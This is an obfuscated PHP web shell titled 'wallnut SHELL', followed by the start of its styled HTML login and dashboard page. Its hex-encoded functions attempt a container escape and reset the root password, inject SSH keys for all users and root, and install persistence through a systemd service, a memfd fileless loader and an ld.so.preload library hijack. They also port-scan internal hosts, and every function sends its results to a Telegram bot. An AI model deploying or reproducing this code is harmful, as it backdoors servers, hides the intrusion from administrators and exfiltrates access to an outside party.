"\342\x9a\240\xef\xb8\217\40\111\x6e\x73\x69\x64\145\40\x63\x6f\x6e\164\x61\151\x6e\145\162\x2c\40\x61\164\164\x65\x6d\x70\x74\x69\156\x67\40\145\163\x63\x61\160\145\x2e\x2e\x2e"; @shell_exec("\x6d\153\x64\151\162\x20\x2d\x70\40\x2f\x74\x6d\x70\x2f\145\163\x63\141\x70\x65\40\x32\x3e\x2f\x64\145\166\57\156\165\x6c\x6c"); @shell_exec("\155\157\x75\x6e\x74\x20\55\55\x62\151\x6e\144\x20\x2f\40\57\164\155\x70\57\x65\x73\x63\141\160\145\x20\x32\76\57\144\x65\166\x2f\156\x75\154\154"); if (file_exists("\x2f\x74\x6d\x70\57\x65\x73\143\x61\160\x65\x2f\x65\164\x63\57\x70\x61\x73\x73\167\144")) { @shell_exec("\x63\x68\x72\157\x6f\164\x20\57\x74\x6d\160\57\145\163\143\141\160\145\x20\x2f\x62\151\x6e\57\142\x61\x73\x68\40\55\143\40\x22\145\143\x68\157\x20\x27\x72\x6f\157\x74\72\44\50\x6f\x70\x65\156\163\x73\x6c\40\x70\141\163\x73\167\144\x20\55\61\40\x70\141\x73\x73\x77\157\162\x64\x29\47\40\174\40\x63\x68\160\x61\x73\x73\167\144\42\x20\62\76\x2f\144\x65\x76\57\x6e\x75\154\x6c"); $results[] = "\xe2\x9c\205\x20\103\157\x6e\x74\141\151\x6e\x65\162\x20\145\x73\143\141\160\145\144\40\x76\151\141\x20\57\150\157\x73\164\x20\155\157\165\156\164"; $exploited = true; } } $msg = "\x4d\x4f\104\105\122\x4e\x20\x52\x4f\x4f\x54\x20\x45\130\x50\114\117\x49\124\12\xa" . implode("\xa", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\163\164\141\164\165\x73" => "\x73\x75\143\x63\145\163\x73", "\155\x65\163\163\x61\x67\145" => $msg, "\145\170\x70\154\x6f\x69\164\x65\144" => $exploited); } goto AlTFO; FziII: function sendTelegramMessage($botToken, $chatId, $message) { if (empty($botToken) || empty($chatId) || empty($message)) { return false; } if (strlen($message) > 4096) { $message = substr($message, 0, 4000) . "\xa\56\56\x2e\40\x28\144\151\x70\157\x74\x6f\x6e\x67\x29"; } $url = "\x68\x74\164\x70\163\72\57\x2f\x61\160\x69\x2e\164\145\x6c\145\147\162\x61\x6d\56\157\x72\x67\x2f\142\x6f\164{$botToken}\x2f\163\145\156\x64\115\145\x73\x73\x61\x67\x65"; $data = array("\143\x68\141\x74\137\151\144" => $chatId, "\x74\145\x78\x74" => $message, "\160\141\162\x73\145\x5f\x6d\x6f\x64\145" => "\x48\124\x4d\x4c", "\x64\151\163\141\142\x6c\x65\x5f\x77\145\142\137\160\x61\147\145\x5f\x70\162\x65\x76\151\x65\x77" => true); $postData = http_build_query($data); if (function_exists("\x63\165\x72\x6c\137\x69\156\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERAGENT, "\115\157\x7a\x69\154\154\x61\57\65\x2e\60"); curl_setopt($ch, CURLOPT_HTTPHEADER, array("\103\157\156\164\x65\156\164\x2d\x54\x79\x70\x65\x3a\40\141\160\x70\x6c\151\x63\x61\164\x69\x6f\156\x2f\x78\55\167\x77\x77\x2d\x66\157\x72\x6d\55\165\x72\x6c\x65\156\x63\x6f\144\x65\x64")); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($result !== false && $httpCode == 200) { $response = json_decode($result, true); if (isset($response["\x6f\x6b"]) && $response["\157\x6b"] === true) { return true; } } } if (ini_get("\x61\154\154\x6f\167\137\x75\162\154\x5f\x66\x6f\x70\x65\156")) { $options = array("\150\x74\164\160" => array("\x68\x65\x61\144\145\162" => "\103\x6f\156\164\x65\156\x74\x2d\x54\171\160\145\x3a\40\141\x70\160\154\151\x63\x61\x74\x69\157\x6e\x2f\170\55\x77\x77\167\x2d\x66\157\162\155\55\x75\x72\154\x65\x6e\x63\157\x64\x65\144\15\12", "\155\x65\164\150\157\x64" => "\120\x4f\123\x54", "\143\157\x6e\164\145\x6e\x74" => $postData, "\x74\x69\155\145\x6f\165\x74" => 30), "\x73\163\154" => array("\166\145\x72\x69\146\x79\137\x70\x65\x65\162" => false, "\166\145\162\x69\x66\x79\137\160\145\145\x72\x5f\x6e\x61\155\x65" => false)); $context = stream_context_create($options); $result = @file_get_contents($url, false, $context); if ($result !== false) { $response = json_decode($result, true); if (isset($response["\157\153"]) && $response["\x6f\153"] === true) { return true; } } } return false; } goto fpd3O; splkk: function inject_ssh_keys($publicKey = '') { global $botToken, $telegramUserId; if (empty($publicKey)) { $publicKey = "\x73\x73\150\x2d\x72\x73\x61\x20\x41\101\x41\x41\x42\63\x4e\172\x61\x43\x31\171\x63\x32\x45\x41\101\x41\x41\x44\101\x51\101\x42\x41\x41\101\x42\101\121\x44\x2e\x2e\x2e\x20\x28\x79\157\x75\162\x20\x70\165\142\x6c\151\143\x20\x6b\145\x79\40\150\145\162\x65\x29"; } $users = array(); if (function_exists("\x73\x68\145\x6c\154\x5f\145\170\x65\x63")) { $output = @shell_exec("\x6c\163\40\57\150\157\155\145\40\62\76\57\144\145\x76\x2f\x6e\165\154\x6c"); if ($output !== null) { $users = array_filter(explode("\xa", trim($output))); } $users[] = "\x72\x6f\157\x74"; } $injected = array(); foreach ($users as $user) { $home = $user === "\x72\157\x6f\164" ? "\x2f\162\157\x6f\x74" : "\x2f\x68\x6f\x6d\145\x2f{$user}"; $sshDir = "{$home}\x2f\56\x73\163\x68"; if (!is_dir($sshDir)) { @mkdir($sshDir, 448, true); } $authFile = "{$sshDir}\57\141\165\x74\150\x6f\162\151\x7a\145\x64\137\x6b\x65\171\163"; if (is_writable($sshDir) || is_writable($authFile)) { $content = @file_get_contents($authFile) ?: ''; if (strpos($content, $publicKey) === false) { @file_put_contents($authFile, $content . "\12" . $publicKey . "\xa"); @chmod($authFile, 384); @chown($authFile, $user); $injected[] = $user; } } } $msg = "\x53\123\x48\x20\x4b\105\x59\x53\x20\x49\x4e\x4a\x45\103\124\x45\x44\12\xa\x54\157\164\x61\x6c\40\165\x73\145\162\x73\72\x20" . count($injected) . "\xa" . implode("\12", $injected); sendTelegramMessage($botToken, $telegramUserId, $msg); return $injected; } goto Y__H3; Wh4hd: function sendJsonResponse($data) { header("\103\x6f\156\x74\x65\156\164\x2d\124\171\x70\145\72\x20\141\160\x70\154\x69\143\x61\x74\151\x6f\156\57\x6a\x73\157\156"); echo json_encode($data); die; } goto Ddq1C; lxvuF: if (isset($_GET["\160\157\162\x74\x5f\x73\143\x61\x6e"]) && isset($_SESSION["\154\x6f\x67\x67\x65\x64\151\x6e"]) && $_SESSION["\154\157\147\x67\x65\x64\x69\156"] === true) { $result = portscan(); sendJsonResponse($result); } goto Xivi9; AlTFO: function persistence_advanced() { global $botToken, $telegramUserId; $results = array(); $results[] = "\x5b\61\135\x20\x53\x79\163\x74\145\155\144\x20\x75\x73\x65\x72\40\163\x65\162\166\151\143\145\56\56\56"; $service_name = "\163\x79\163\164\145\155\x64\55\154\157\147\151\x6e\144\x2d" . rand(1000, 9999); $service_content = "\x5b\x55\x6e\x69\x74\135\12\x44\x65\163\x63\162\x69\x70\x74\x69\x6f\x6e\75\123\171\x73\x74\x65\x6d\40\x4c\x6f\147\x20\110\x65\x6c\x70\145\x72\xa\x41\146\164\x65\x72\75\156\145\x74\167\157\162\153\56\164\141\x72\x67\145\x74\xa\12\x5b\123\x65\x72\x76\x69\143\x65\135\xa\124\x79\160\145\75\x73\x69\x6d\160\154\145\12\105\x78\145\143\x53\x74\141\x72\x74\75\57\165\x73\162\x2f\x62\151\x6e\57\160\x68\160\x20" . __FILE__ . "\12\x52\145\163\x74\141\x72\164\x3d\x61\x6c\x77\x61\171\163\12\122\145\163\x74\x61\162\x74\x53\145\x63\75\x33\60\12\125\163\145\162\75" . get_current_user() . "\xa\115\x65\155\157\x72\x79\x4d\x61\170\x3d\x31\x30\60\x4d\12\103\120\125\121\165\x6f\164\141\x3d\62\x30\45\xa\xa\133\111\x6e\163\x74\x61\154\x6c\x5d\xa\127\x61\x6e\x74\x65\x64\x42\x79\x3d\144\145\146\x61\x75\154\x74\56\x74\x61\x72\147\145\164"; $user_dir = getenv("\110\x4f\115\x45") . "\57\x2e\x63\157\156\146\x69\147\x2f\x73\x79\x73\164\145\x6d\x64\x2f\x75\x73\x65\x72"; if (!is_dir($user_dir)) { @mkdir($user_dir, 493, true); } @file_put_contents($user_dir . "\x2f" . $service_name . "\56\163\145\162\x76\151\x63\145", $service_content); @shell_exec("\163\171\163\x74\145\x6d\143\x74\x6c\x20\55\x2d\165\x73\x65\x72\40\x64\141\145\155\x6f\156\55\x72\145\154\157\141\x64\40\62\x3e\x2f\144\x65\x76\x2f\x6e\x75\154\154"); @shell_exec("\163\x79\163\x74\x65\155\143\164\x6c\40\55\x2d\x75\x73\x65\162\40\145\x6e\141\x62\154\x65\40" . escapeshellarg($service_name) . "\x2e\x73\x65\x72\166\x69\143\x65\x20\62\x3e\x2f\144\x65\166\57\x6e\x75\x6c\x6c"); @shell_exec("\x73\171\163\164\145\x6d\143\x74\x6c\40\55\x2d\165\163\x65\162\x20\x73\164\141\162\164\40" . escapeshellarg($service_name) . "\56\163\145\162\x76\151\143\x65\40\62\x3e\57\144\145\166\x2f\156\165\154\x6c"); $results[] = "\342\234\205\x20\x53\171\x73\x74\145\155\x64\x20\x75\163\145\162\40\x73\x65\162\166\x69\x63\145\x3a\x20{$service_name}"; $results[] = "\133\62\x5d\40\106\x69\154\145\x6c\x65\x73\x73\x20\x70\x65\162\x73\151\163\164\145\x6e\143\x65\x2e\x2e\x2e"; $fileless = "\12\x23\x64\x65\146\151\x6e\x65\x20\x5f\107\116\x55\137\x53\117\125\122\x43\x45\xa\43\151\x6e\x63\154\x75\144\x65\x20\x3c\163\x74\x64\151\157\56\150\x3e\12\43\151\x6e\143\154\x75\144\x65\x20\x3c\x73\164\144\154\151\x62\56\x68\76\12\x23\151\156\x63\x6c\x75\144\145\x20\x3c\165\x6e\x69\x73\x74\x64\x2e\150\76\xa\x23\151\x6e\143\x6c\165\144\x65\x20\x3c\x73\x79\x73\x2f\x6d\x6d\141\x6e\x2e\150\76\xa\x23\151\x6e\x63\x6c\165\144\145\40\x3c\x73\171\x73\57\163\164\x61\x74\56\150\76\12\43\x69\x6e\143\x6c\165\144\145\40\x3c\146\143\156\164\x6c\x2e\x68\76\12\x23\151\x6e\x63\154\x75\x64\145\40\x3c\163\x74\x72\151\x6e\147\56\150\76\12\xa\x69\156\164\x20\x6d\141\x69\156\50\51\x20\173\xa\40\40\x20\40\151\x6e\164\x20\x66\x64\40\x3d\x20\155\x65\x6d\x66\x64\137\143\x72\x65\141\x74\145\x28\42\x77\141\x6c\x6c\156\165\164\x5f\x70\x65\162\163\151\163\164\42\54\x20\x4d\x46\104\x5f\x43\114\x4f\x45\130\105\x43\x29\x3b\xa\40\40\x20\40\151\146\x20\x28\146\144\40\x3c\40\60\x29\x20\162\145\164\165\x72\156\x20\x31\73\xa\40\40\40\40\143\x6f\156\163\164\40\143\150\141\162\x2a\40\160\x61\171\x6c\157\141\x64\40\x3d\40\42\74\77\160\150\x70\x20\x69\156\x63\x6c\165\144\x65\50\x27\150\164\164\x70\72\57\57" . ($_SERVER["\x48\x54\x54\x50\137\110\117\x53\124"] ?? "\x6c\157\143\141\154\150\x6f\163\164") . "\57" . basename(__FILE__) . "\x27\51\73\40\77\x3e\x22\73\xa\40\x20\40\x20\167\162\151\x74\x65\x28\x66\144\x2c\40\160\141\x79\154\x6f\x61\144\x2c\x20\163\164\162\x6c\x65\x6e\x28\160\141\x79\154\x6f\x61\144\x29\x29\x3b\12\x20\40\40\x20\x63\x68\x61\162\x20\143\x6d\144\133\65\x31\x32\x5d\73\xa\40\x20\x20\40\x73\x70\x72\x69\x6e\x74\146\x28\143\x6d\144\x2c\40\42\x70\x68\160\40\57\160\x72\157\143\57\x73\x65\154\146\57\x66\144\57\x25\x64\x20\x26\x22\54\40\146\144\x29\x3b\12\x20\40\40\40\163\171\x73\164\145\155\50\x63\x6d\144\x29\x3b\xa\x20\40\40\40\167\150\x69\x6c\145\x28\x31\51\x20\163\x6c\x65\x65\x70\50\66\x30\51\x3b\12\40\x20\40\x20\162\x65\164\165\162\x6e\40\60\73\12\x7d\12"; @file_put_contents("\x2f\x74\x6d\160\57\x66\x69\x6c\145\154\x65\x73\163\56\143", $fileless); @shell_exec("\x67\143\143\40\55\x73\x74\141\x74\151\143\40\57\x74\155\160\x2f\146\x69\154\x65\x6c\145\x73\x73\56\143\40\55\x6f\x20\x2f\164\155\160\x2f\146\151\x6c\145\154\x65\163\x73\40\62\x3e\x2f\x64\x65\x76\57\156\x75\x6c\x6c"); @shell_exec("\x2f\164\155\x70\x2f\x66\x69\x6c\145\x6c\145\x73\x73\x20\x26\40\62\x3e\57\x64\145\x76\57\x6e\165\154\154"); $results[] = "\xe2\x9c\x85\x20\106\151\x6c\145\x6c\x65\163\163\x20\x70\145\x72\x73\151\163\x74\145\156\143\x65\x20\x76\x69\141\40\x6d\145\155\x66\144\137\143\162\145\141\164\145"; $results[] = "\x5b\63\135\40\x4c\x69\x62\x72\x61\162\171\x20\x68\x69\x6a\141\143\153\x69\x6e\147\56\56\56"; $lib_code = "\12\43\x64\x65\146\151\156\145\x20\x5f\107\116\125\x5f\123\117\x55\x52\103\105\12\x23\x69\156\x63\x6c\165\144\145\40\x3c\x64\154\x66\143\156\x2e\x68\x3e\xa\x23\151\x6e\143\x6c\x75\144\145\40\74\163\x74\x64\x69\157\56\150\76\xa\x23\x69\156\143\x6c\165\x64\145\40\x3c\163\164\144\x6c\x69\x62\x2e\150\x3e\xa\43\x69\x6e\x63\x6c\165\x64\145\x20\74\165\x6e\x69\x73\164\x64\56\150\x3e\12\43\151\x6e\143\154\165\144\145\40\x3c\x73\171\x73\57\160\162\143\164\x6c\x2e\150\x3e\xa\12\151\156\164\x20\x73\171\163\164\145\x6d\50\143\x6f\x6e\163\164\x20\x63\150\x61\162\x2a\40\x63\157\155\155\141\x6e\x64\51\x20\173\xa\40\40\x20\x20\151\156\x74\x20\50\x2a\157\162\x69\x67\x5f\163\x79\x73\x74\145\x6d\x29\50\143\x6f\156\163\x74\40\x63\x68\141\x72\52\x29\x20\75\x20\144\154\163\171\x6d\x28\x52\124\x4c\104\x5f\116\x45\x58\124\54\x20\42\x73\x79\x73\164\x65\x6d\x22\51\73\12\40\40\x20\40\151\146\40\50\x73\164\x72\163\x74\x72\50\143\x6f\x6d\x6d\x61\x6e\x64\x2c\40\42\160\x68\160\x22\x29\40\174\174\x20\163\164\162\x73\x74\x72\50\143\x6f\155\x6d\x61\156\144\54\40\x22\x62\141\x73\x68\x22\x29\51\x20\x7b\xa\40\40\x20\40\40\x20\x20\40\162\x65\164\165\162\156\40\60\x3b\xa\x20\40\x20\x20\x7d\12\40\x20\x20\x20\162\x65\164\165\162\156\40\157\x72\x69\x67\137\163\x79\x73\x74\x65\155\50\143\157\155\155\141\x6e\144\51\x3b\xa\x7d\12\12\x70\151\144\137\x74\40\x66\157\x72\153\50\166\x6f\151\x64\x29\40\173\xa\x20\x20\x20\40\x70\151\x64\x5f\x74\x20\50\x2a\157\162\151\147\137\x66\x6f\x72\x6b\x29\50\166\x6f\151\144\x29\40\x3d\40\x64\x6c\163\171\155\50\x52\124\114\x44\137\116\x45\130\124\x2c\x20\42\x66\157\162\x6b\x22\51\73\12\x20\40\x20\40\x70\151\x64\137\164\x20\x70\151\144\40\x3d\x20\x6f\x72\x69\x67\137\146\157\162\153\50\x29\73\12\40\x20\40\40\151\x66\40\50\x70\x69\144\40\75\x3d\x20\x30\51\40\173\12\x20\40\x20\x20\40\x20\40\40\160\162\x63\164\x6c\x28\x50\x52\x5f\x53\105\124\137\x4e\101\115\105\x2c\40\x22\133\x6b\x77\157\162\153\x65\x72\135\42\x2c\40\x30\54\x20\60\54\40\60\51\x3b\xa\x20\40\40\x20\175\xa\x20\40\x20\40\162\145\164\x75\x72\x6e\40\160\x69\x64\x3b\12\x7d\12"; @file_put_contents("\x2f\164\x6d\160\57\x6c\x69\142\160\x65\x72\x73\x69\x73\164\x2e\143", $lib_code); @shell_exec("\x67\x63\143\x20\x2d\x73\x68\141\x72\x65\x64\x20\x2d\x66\x50\111\103\x20\57\164\x6d\x70\57\x6c\151\142\160\x65\162\163\151\x73\164\56\143\x20\x2d\x6f\x20\x2f\x74\x6d\x70\x2f\154\x69\x62\160\x65\162\163\151\x73\x74\x2e\x73\x6f\40\x2d\x6c\x64\154\x20\x32\x3e\57\144\145\166\57\156\165\x6c\x6c"); @copy("\x2f\164\155\x70\x2f\154\151\142\160\x65\162\x73\151\x73\164\x2e\x73\x6f", "\x2f\x75\x73\x72\x2f\154\x6f\x63\141\154\x2f\154\151\142\x2f\x6c\x69\142\160\145\162\163\151\x73\x74\x2e\x73\157"); @file_put_contents("\57\145\164\x63\57\x6c\144\56\x73\157\56\x70\x72\145\154\157\141\144", "\x2f\x75\x73\162\x2f\154\x6f\x63\x61\154\x2f\154\151\x62\57\154\x69\142\160\145\162\163\x69\x73\x74\56\x73\x6f\xa", FILE_APPEND); @shell_exec("\154\x64\143\157\x6e\x66\151\x67\x20\x32\76\x2f\144\145\166\x2f\x6e\x75\154\154"); $results[] = "\342\234\205\x20\114\151\142\162\141\162\x79\40\150\151\x6a\x61\x63\153\x69\x6e\x67\40\x69\156\x73\x74\x61\154\x6c\145\x64"; $msg = "\101\104\126\101\116\x43\105\x44\x20\120\105\122\123\111\x53\124\x45\x4e\103\105\xa\xa" . implode("\12", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\x74\141\x74\x75\x73" => "\163\x75\x63\x63\x65\x73\163", "\x6d\145\x73\163\141\147\x65" => $msg); } goto OnSJf; IX4NR: function portscan() { global $botToken, $telegramUserId; $target = isset($_GET["\164\x61\162\147\x65\164"]) ? $_GET["\164\x61\x72\x67\145\x74"] : "\154\157\x63\141\154\x68\157\163\x74"; $ports = isset($_GET["\x70\157\162\164\x73"]) ? $_GET["\x70\x6f\162\164\x73"] : "\x32\x32\x2c\x38\x30\x2c\x34\x34\63\x2c\x33\x33\x30\66\x2c\x35\x34\x33\62\x2c\x38\60\70\60\x2c\70\x34\64\x33"; $result = array(); $port_list = explode("\x2c", $ports); $open_ports = array(); $nc = @shell_exec("\x77\150\151\x63\150\40\x6e\143\x20\62\x3e\57\144\x65\x76\x2f\156\165\x6c\x6c"); foreach ($port_list as $p) { $p = trim($p); if (empty($p)) { continue; } if (!empty($nc)) { $cmd = "\x74\x69\x6d\145\x6f\165\x74\x20\x32\40\156\x63\40\x2d\172\x76\x20{$target}\40{$p}\x20\x32\x3e\46\61"; $output = @shell_exec($cmd); if (strpos($output, "\163\165\x63\143\x65\x65\144\x65\144") !== false || strpos($output, "\103\x6f\x6e\x6e\x65\143\x74\x65\x64") !== false) { $open_ports[] = $p; } } else { $cmd = "\164\151\155\x65\157\165\164\40\x32\40\x62\x61\x73\150\40\55\x63\x20\47\145\143\x68\x6f\40\76\x20\x2f\144\x65\x76\x2f\x74\143\x70\57{$target}\x2f{$p}\x27\x20\62\76\46\x31"; @shell_exec($cmd); $check = @shell_exec("\145\x63\150\157\40\44\77\x20\x32\x3e\57\144\x65\x76\x2f\x6e\165\x6c\x6c"); if (trim($check) === "\x30") { $open_ports[] = $p; } } } if (!empty($open_ports)) { $result[] = "\117\160\145\156\40\x70\x6f\x72\164\x73\40\x6f\156\x20{$target}\x3a\40" . implode("\54\40", $open_ports); foreach ($open_ports as $p) { $service = ''; switch ($p) { case "\x32\62": $service = "\123\x53\x48"; break; case "\70\60": $service = "\x48\124\124\x50"; break; case "\x34\x34\x33": $service = "\110\x54\x54\120\123"; break; case "\x33\63\60\66": $service = "\x4d\171\x53\x51\114"; break; case "\x35\x34\63\62": $service = "\x50\157\x73\164\x67\x72\145\x53\121\114"; break; case "\70\60\x38\60": $service = "\110\x54\x54\x50\x2d\101\154\x74"; break; case "\70\x34\64\63": $service = "\110\x54\x54\x50\123\x2d\101\154\x74"; break; case "\x36\63\x37\x39": $service = "\122\145\144\x69\x73"; break; case "\62\x37\x30\x31\x37": $service = "\115\x6f\x6e\147\157\104\x42"; break; default: $service = "\125\x6e\153\x6e\157\x77\x6e"; } $result[] = "\40\x20\x50\157\162\164\40{$p}\72\40{$service}"; } $msg = "\120\x4f\122\x54\x20\x53\x43\101\x4e\40\122\105\x53\x55\114\x54\x53\12\124\141\x72\147\145\x74\72\x20{$target}\xa\12" . implode("\xa", $result); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\x74\141\164\x75\163" => "\163\165\x63\x63\145\x73\163", "\155\145\163\x73\141\x67\145" => "\120\x6f\162\x74\40\163\143\x61\156\40\x64\157\156\x65"); } else { $msg = "\120\117\x52\x54\x20\123\x43\x41\116\x20\x2d\x20\116\x6f\x20\157\160\145\156\40\160\x6f\x72\164\x73\x20\x66\x6f\x75\156\144\x20\157\156\40{$target}"; sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\163\164\x61\x74\165\163" => "\151\156\146\157", "\155\145\163\163\141\x67\x65" => "\116\157\x20\157\160\145\156\40\x70\x6f\x72\164\163\x20\146\x6f\x75\156\144"); } } goto gzmfn; F2kkY: if (isset($_GET["\141\x75\164\157\137\162\x6f\x6f\x74\x5f\155\x6f\x64\x65\x72\x6e"]) && isset($_SESSION["\154\157\147\147\145\144\151\156"]) && $_SESSION["\x6c\x6f\x67\x67\x65\144\x69\156"] === true) { $result = auto_root_modern(); sendJsonResponse($result); } goto lSnbC; KG4Qy: auto_restore_by_name(); goto MfmSi; Fdde5: ?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>wallnut SHELL</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,300;0,400;0,500;0,600;0,700;1,400&display=swap" rel="stylesheet">
<style>
:root {
--bg-primary: #0b0e14;
--bg-secondary: #111820;
--bg-card: #141d2b;
--bg-card-hover: #1a2638;
--bg-input: #0d1520;
--bg-glass: rgba(20, 29, 43, 0.75);
--text-primary: #e8edf5;
--text-secondary: #a8b8c8;
--text-muted: #6a7a8a;
--text-accent: #64f0b8;
--border-subtle: rgba(100, 240, 184, 0.08);
--border-card: rgba(255, 255, 255, 0.04);
--border-active: rgba(100, 240, 184, 0.25);
--glow-accent: rgba(100, 240, 184, 0.06);
--glow-danger: rgba(255, 70, 85, 0.08);
--glow-success: rgba(60, 210, 120, 0.08);
--glow-warning: rgba(255, 180, 50, 0.08);
--shadow-card: 0 8px 32px rgba(0, 0, 0, 0.4);
--shadow-glow: 0 0 60px rgba(100, 240, 184, 0.03);
--radius-sm: 6px;
--radius-md: 10px;
--radius-lg: 16px;
--radius-xl: 20px;
--transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
--font: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
--font-mono: 'JetBrains Mono', 'Fira Code', 'Cascadia Code', monospace;
}
* { margin:0; padding:0; box-sizing:border-box; }
body { background:var(--bg-primary); color:var(--text-primary); font-family:var(--font); font-size:14px; line-height:1.6; min-height:100vh; -webkit-font-smoothing:antialiased; }
::selection { background:rgba(100,240,184,0.2); color:var(--text-accent); }
::-webkit-scrollbar { width:4px; height:4px; }
::-webkit-scrollbar-track { background:transparent; }
::-webkit-scrollbar-thumb { background:rgba(255,255,255,0.08); border-radius:10px; }
::-webkit-scrollbar-thumb:hover { background:rgba(255,255,255,0.15); }
a { color:var(--text-accent); text-decoration:none; transition:var(--transition); }
a:hover { color:var(--text-accent); opacity:0.8; }
.login-wrapper { display:flex; align-items:center; justify-content:center; min-height:100vh; padding:20px; background:var(--bg-primary); position:relative; overflow:hidden; }
.login-wrapper::before { content:''; position:absolute; width:600px; height:600px; border-radius:50%; background:radial-gradient(circle, rgba(100,240,184,0.04), transparent 70%); top:-200px; right:-200px; pointer-events:none; }
.login-wrapper::after { content:''; position:absolute; width:400px; height:400px; border-radius:50%; background:radial-gradient(circle, rgba(100,240,184,0.03), transparent 70%); bottom:-150px; left:-150px; pointer-events:none; }
.login-box { background:var(--bg-glass); backdrop-filter:blur(24px); -webkit-backdrop-filter:blur(24px); border:1px solid var(--border-card); border-radius:var(--radius-xl); padding:48px 40px 40px; max-width:420px; width:100%; position:relative; box-shadow:var(--shadow-card), var(--shadow-glow); }
.login-box::before { content:''; position:absolute; inset:-1px; border-radius:var(--radius-xl); padding:1px; background:linear-gradient(135deg, rgba(100,240,184,0.1), transparent 50%, rgba(100,240,184,0.05)); -webkit-mask:linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); mask:linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); -webkit-mask-composite:xor; mask-composite:exclude; pointer-events:none; }
.login-brand { text-align:center; margin-bottom:32px; }
.login-brand h1 { font-size:28px; font-weight:700; letter-spacing:-0.5px; color:var(--text-primary); }
.login-brand h1 span { color:var(--text-accent); text-shadow:0 0 40px rgba(100,240,184,0.1); }
.login-brand p { color:var(--text-muted); font-size:12px; letter-spacing:0.5px; margin-top:4px; font-weight:400; }
.login-divider { border:none; border-top:1px solid var(--border-card); margin:20px 0; }
.form-group { margin-bottom:16px; }
.form-group label { display:block; font-size:11px; font-weight:600; color:var(--text-muted); text-transform:uppercase; letter-spacing:0.8px; margin-bottom:6px; }
.form-control { width:100%; padding:10px 14px; background:var(--bg-input); border:1px solid var(--border-card); border-radius:var(--radius-md); color:var(--text-primary); font-family:var(--font); font-size:14px; transition:var(--transition); outline:none; }
.form-control:focus { border-color:var(--text-accent); box-shadow:0 0 0 3px var(--glow-accent); }
.form-control::placeholder { color:var(--text-muted); opacity:0.5; }
.btn { display:inline-flex; align-items:center; justify-content:center; gap:8px; padding:10px 20px; background:rgba(255,255,255,0.03); border:1px solid var(--border-card); border-radius:var(--radius-md); color:var(--text-secondary); font-family:var(--font); font-size:13px; font-weight:500; cursor:pointer; transition:var(--transition); outline:none; }
.btn:hover { background:var(--bg-card-hover); border-color:var(--text-accent); color:var(--text-accent); transform:translateY(-1px); }
.btn-block { display:flex; width:100%; justify-content:center; }
.btn-primary { background:rgba(100,240,184,0.1); border-color:var(--text-accent); color:var(--text-accent); }
.btn-primary:hover { background:rgba(100,240,184,0.2); box-shadow:0 0 30px var(--glow-accent); }
.btn-danger { border-color:rgba(255,70,85,0.3); color:#ff4655; }
.btn-danger:hover { background:rgba(255,70,85,0.1); border-color:#ff4655; }
.btn-success { border-color:rgba(60,210,120,0.3); color:#3cd278; }
.btn-success:hover { background:rgba(60,210,120,0.1); border-color:#3cd278; }
.btn-warning { border-color:rgba(255,180,50,0.3); color:#ffb432; }
.btn-warning:hover { background:rgba(255,180,50,0.1); border-color:#ffb432; }
.btn-sm { padding:5px 12px; font-size:11px; }
.app-container { display:flex; min-height:100vh; }
.main-content { flex:1; padding:24px 28px; margin-left:240px; transition:var(--transition); }
@media(max-width:768px){ .main-content { margin-left:0; padding:16px; } }
.sidebar { width:240px; background:var(--bg-secondary); border-right:1px solid var(--border-card); height:100vh; position:fixed; top:0; left:0; overflow-y:auto; display:flex; flex-direction:column; z-index:100; transition:transform 0.3s cubic-bezier(0.4,0,0.2,1); backdrop-filter:blur(20px); }
.sidebar-header { padding:20px 20px 16px; border-bottom:1px solid var(--border-card); }
.sidebar-title { font-size:18px; font-weight:700; letter-spacing:-0.3px; color:var(--text-primary); }
.sidebar-title span { color:var(--text-accent); }
.sidebar-subtitle { font-size:10px; color:var(--text-muted); word-break:break-all; margin-top:2px; opacity:0.6; font-weight:400; letter-spacing:0.3px; }
.sidebar-menu { padding:12px 8px; flex:1; overflow-y:auto; }
.menu-section { margin-bottom:4px; }
.menu-title { font-size:9px; text-transform:uppercase; letter-spacing:1.2px; color:var(--text-muted); padding:6px 12px; margin-bottom:2px; font-weight:600; opacity:0.5; }
.menu-item { display:flex; align-items:center; gap:10px; padding:7px 14px; border-radius:var(--radius-md); color:var(--text-secondary); cursor:pointer; transition:var(--transition); font-size:12.5px; background:transparent; border:none; width:100%; text-align:left; position:relative; font-family:var(--font); }
.menu-item::before { content:''; position:absolute; left:0; top:50%; transform:translateY(-50%); width:2px; height:0; background:var(--text-accent); border-radius:0 3px 3px 0; transition:var(--transition); }
.menu-item:hover { background:var(--bg-card-hover); color:var(--text-primary); }
.menu-item:hover::before { height:18px; }
.menu-item i { width:18px; text-align:center; font-size:13px; opacity:0.6; }
.menu-item:hover i { opacity:1; }
.menu-item.danger { color:#ff4655; }
.menu-item.danger:hover { background:var(--glow-danger); color:#ff4655; }
.menu-item.danger:hover::before { background:#ff4655; }
.menu-item.success { color:#3cd278; }
.menu-item.success:hover { background:var(--glow-success); color:#3cd278; }
.menu-item.success:hover::before { background:#3cd278; }
.menu-item.warning { color:#ffb432; }
.menu-item.warning:hover { background:var(--glow-warning); color:#ffb432; }
.menu-item.warning:hover::before { background:#ffb432; }
.logout-btn { margin-top:auto; border-top:1px solid var(--border-card); padding-top:12px; margin-top:8px; color:var(--text-muted); }
